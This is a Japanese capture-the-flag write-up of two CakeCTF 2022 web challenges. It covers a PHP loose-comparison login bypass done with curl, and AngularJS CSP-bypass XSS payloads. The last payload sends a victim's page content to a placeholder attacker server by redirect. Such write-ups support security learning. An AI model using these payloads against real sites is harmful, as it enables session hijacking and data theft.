[CakeCTF 2022] My own writeup
CakeCTF 2022が9/3 14:00 - 9/4 14:00(JST)の日程で開催されました. webを解いていたので, そのwriteupを以下に記します.
- [web] CakeGEAR(104 solves)
- [web] OpenBio(50 solves)
[web] CakeGEAR(104 solves)
$_SESSION['admin']
がtrueになればflagが取れるようです.
if ($_SESSION['admin'] === true) {
$mode = 'admin';
$flag = file_get_contents("/flag.txt");
} else {
$mode = 'guest';
$flag = "***** Access Denied *****";
}
usernameをgodmode
またはadmin
としてログインできれば$_SESSION['admin']
をtrue
にできそうです. admin
としてログインするにはパスワードを推測する必要があるため難しいです.
switch ($req->username) {
case 'godmode':
/* No password is required in god mode */
$_SESSION['login'] = true;
$_SESSION['admin'] = true;
break;
case 'admin':
/* Secret password is required in admin mode */
if (sha1($req->password) === ADMIN_PASSWORD) {
$_SESSION['login'] = true;
$_SESSION['admin'] = true;
}
break;
case 'guest':
/* Guest mode (low privilege) */
if ($req->password === 'guest') {
$_SESSION['login'] = true;
$_SESSION['admin'] = false;
}
break;
}
usernameをgodmode
としてログインするには上のswitch文以前で, 接続元のIPアドレスが'127.0.0.1
であることが求められます.
if ($req->username === 'godmode'
&& !in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])) {
/* Debug mode is not allowed from outside the router */
$req->username = 'nobody';
}
PHPのswitch/caseが行うのは緩やかな比較であることを利用します. こちらより, 緩やかな比較では任意の文字列とtrue
が等しいです.
よって, username
をtrue
とすることでcase 'godmode'
の処理を実行することができます.
$ curl -v -X POST -H "Content-Type: application/json" -d '{"username":true, "password":"guest"}' http://web1.2022.cakectf.com:8005/index.php
...
* Trying 34.146.124.175...
* TCP_NODELAY set
* Connected to web1.2022.cakectf.com (34.146.124.175) port 8005 (#0)
> POST /index.php HTTP/1.1
> Host: web1.2022.cakectf.com:8005
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: application/json
> Content-Length: 55
>
* upload completely sent off: 55 out of 55 bytes
< HTTP/1.1 200 OK
< Date: Sat, 03 Sep 2022 11:25:54 GMT
< Server: Apache/2.4.54 (Debian)
< X-Powered-By: PHP/8.1.9
< Set-Cookie: PHPSESSID=8791503537358bf2138bd468967f8550; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Content-Length: 18
< Content-Type: text/html; charset=UTF-8
{"status":"success"}
...
$ curl -b 'PHPSESSID=8791503537358bf2138bd468967f8550' http://web1.2022.cakectf.com:8005/admin.php
...
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>control panel - CAKEGEAR</title>
<style>table, td { margin: auto; border: 1px solid #000; }</style>
</head>
<body style="text-align: center;">
<h1>Router Control Panel</h1>
<table><tbody>
<tr><td><b>Status</b></td><td>UP</td></tr>
<tr><td><b>Router IP</b></td><td>192.168.1.1</td></tr>
<tr><td><b>Your IP</b></td><td>192.168.1.7</td></tr>
<tr><td><b>Access Mode</b></td><td>admin</td></tr>
<tr><td><b>FLAG</b></td><td>CakeCTF{y0u_mu5t_c4st_2_STRING_b3f0r3_us1ng_sw1tch_1n_PHP}
</td></tr>
</tbody></table>
</body>
</html>
...
[web] OpenBio(50 solves)
解けませんでした. CSPをbypassしてXSSを実行する問題です.
APIは以下のようになっています.
"""
Route
"""
@app.route('/')
def home():
if login_ok():
conn = conn_user()
bio = conn.hget(flask.session['user'], 'bio').decode()
if bio is not None:
return flask.render_template('index.html',
username=flask.session['user'], bio=bio)
return flask.render_template('login.html')
@app.route('/profile/<user>')
def profile(user):
if not login_ok():
return flask.redirect(flask.url_for('home'))
is_report = flask.request.args.get('report') is not None
conn = conn_user()
if not conn.exists(user):
return flask.redirect(flask.url_for('home'))
bio = conn.hget(user, 'bio').decode()
return flask.render_template('profile.html',
username=user, bio=bio,
is_report=is_report)
"""
User API
"""
@app.route('/api/user/register', methods=['POST'])
def user_register():
"""Register a new user"""
# Check username and password
username = flask.request.form.get('username', '')
password = flask.request.form.get('password', '')
if re.match("^[-a-zA-Z0-9_]{5,20}$", username) is None:
return error("Username must follow regex '^[-a-zA-Z0-9_]{5,20}$'")
if re.match("^.{8,128}$", password) is None:
return error("Password must follow regex '^.{8,128}$'")
# Register a new user
conn = conn_user()
if conn.exists(username):
return error("This username has been already taken.")
else:
conn.hset(username, mapping={
'password': passhash(password),
'bio': "<p>Hello! I'm new to this website.</p>"
})
flask.session['user'] = username
return success("Successfully registered a new user.")
@app.route('/api/user/login', methods=['POST'])
def user_login():
"""Login user"""
if login_ok():
return success("You have already been logged in.")
username = flask.request.form.get('username', '')
password = flask.request.form.get('password', '')
# Check password
conn = conn_user()
if conn.hget(username, 'password').decode() == passhash(password):
flask.session['user'] = username
return success("Successfully logged in.")
else:
return error("Invalid password or user does not exist.")
@app.route('/api/user/logout', methods=['POST'])
def user_logout():
"""Logout user"""
if login_ok():
flask.session.clear()
return success("Successfully logged out.")
else:
return error("You are not logged in.")
@app.route('/api/user/update', methods=['POST'])
def user_update():
"""Update user info"""
if not login_ok():
return error("You are not logged in.")
username = flask.session['user']
bio = flask.request.form.get('bio', '')
if len(bio) > 2000:
return error("Bio is too long.")
# Update bio
conn = conn_user()
conn.hset(username, 'bio', bio)
return success("Successfully updated your profile.")
"""
Report spam account
"""
@app.route('/api/support/report', methods=['POST'])
def report():
"""Report spam
Support staff will check the reported contents as soon as possible.
"""
if RECAPTCHA_KEY:
recaptcha = flask.request.form.get('recaptcha', '')
params = {
'secret': RECAPTCHA_KEY,
'response': recaptcha
}
r = requests.get(
"https://www.google.com/recaptcha/api/siteverify", params=params
)
if json.loads(r.text)['success'] == False:
abort(400)
username = flask.request.form.get('username', '')
conn = conn_user()
if not conn.exists(username):
return error("This user does not exist.")
conn = conn_report()
conn.rpush('report', username)
return success("""Thank you for your report.<br>Our support team will check the post as soon as possible.""")
username
を指定してreportを送信すると以下のクローラが走ります. クローラが使用するユーザーのbioにflagが含まれます.
const crawl = async (target) => {
const url = base_url + '/profile/' + target + '?report';
console.log(`[+] Crawling: ${url}`);
const username = Math.random().toString(32).substring(2);
const password = Math.random().toString(32).substring(2);
const browser = await puppeteer.launch(browser_option);
try {
const page = await browser.newPage();
// Register
await page.goto(base_url + '/', {timeout: 3000});
await page.type('#username', username);
await page.type('#password', password);
await page.click('#tab-signup');
await page.click('#signup');
await wait(1000);
// Set flag to bio
await page.goto(base_url + '/', {timeout: 3000});
await page.$eval('#bio', element => element.value = '');
await page.type('#bio', "You hacked me! The flag is " + flag);
await page.click('#update');
await wait(1000);
// Check spam page
await page.goto(url, {timeout: 3000});
await wait(3000);
await page.close();
} catch(e) {
console.log("[-] " + e);
}
console.log(`[+] Crawl done`);
await browser.close();
}
CSPの設定は以下になります.
default-src 'none';
script-src 'nonce-Cu7X0RW7MW6UteS2dtU3yw==' https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';
style-src https://cdn.jsdelivr.net/;frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/;base-uri 'none';
connect-src 'self';
CSP Evaluatorを使用して設定の脆弱性をチェックします. script-src
にhttps://cdn.jsdelivr.net/
が指定されており, このCDNはAngularライブラリをホスティングしていることがわかります.
Angularとunsafe-eval
を利用して, CSPをbypassすることを考えます. 以下でサンプルのXSSが実行できます.
<script src="https://cdn.jsdelivr.net/angularjs/1.1.2/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(\'XSS\')')()}}</div>
CSPでconnect-src 'self'
が設定されているため, fetch()
などを用いて自身のサーバにリクエストを送信することができません. 自分はクローラが使用するユーザーのbioを自身のユーザーのbioに書き込むこませることを考え, 以下のpayloadを作成しました.
<script src="https://cdn.jsdelivr.net/angularjs/1.1.2/angular.min.js"></script>
{% raw %}
<div ng-app ng-csp>{{$eval.constructor('fetch("/").then(async(data)=>{a=await data.text();b=a.match(/id="csrf_token" value="(.*?)"/)[1];console.log(a);if(a.match(/<title>(.*?)<\/title>/)[1] != "[my username] - OpenBio"){fetch("/api/user/update",{method: "POST", headers: {"Content-Type":"application/x-www-form-urlencoded","Cookie":"session=[my session]"}, body: "bio="+a+"&csrf_token="+b})});}')()}}</div>
{% endraw %} しかし, このpayloadだとなぜかreportボタンが機能しなくなりました… そして, 時間切れになりました. 終了後にこちらのwriteupを参考に解き直しを行いました.
そもそもredirectを使用することで, connect-src 'self'
は回避できるようです. writeupではsetTimeoutが使用されていましたが, async/awaitを用いたpayloadを作成し, 無事flagを含むbipを自身のサーバに送信することができました.
<script src="https://cdn.jsdelivr.net/npm/angular@1.8.2/angular.js"></script>
{% raw %}
<div ng-app ng-csp>{{$eval.constructor('fetch("/").then(async(r) => {r = await r.text(); location.href="[自身のサーバ]?q="+escape(r)})')()}}</div>
{% endraw %}
感想
あまり解けませんでしたが, CSPのbypass問にも取り組めて学びのあるCTFでした. 来年のCakeCTFではもっとweb問を解けるよう精進していきます.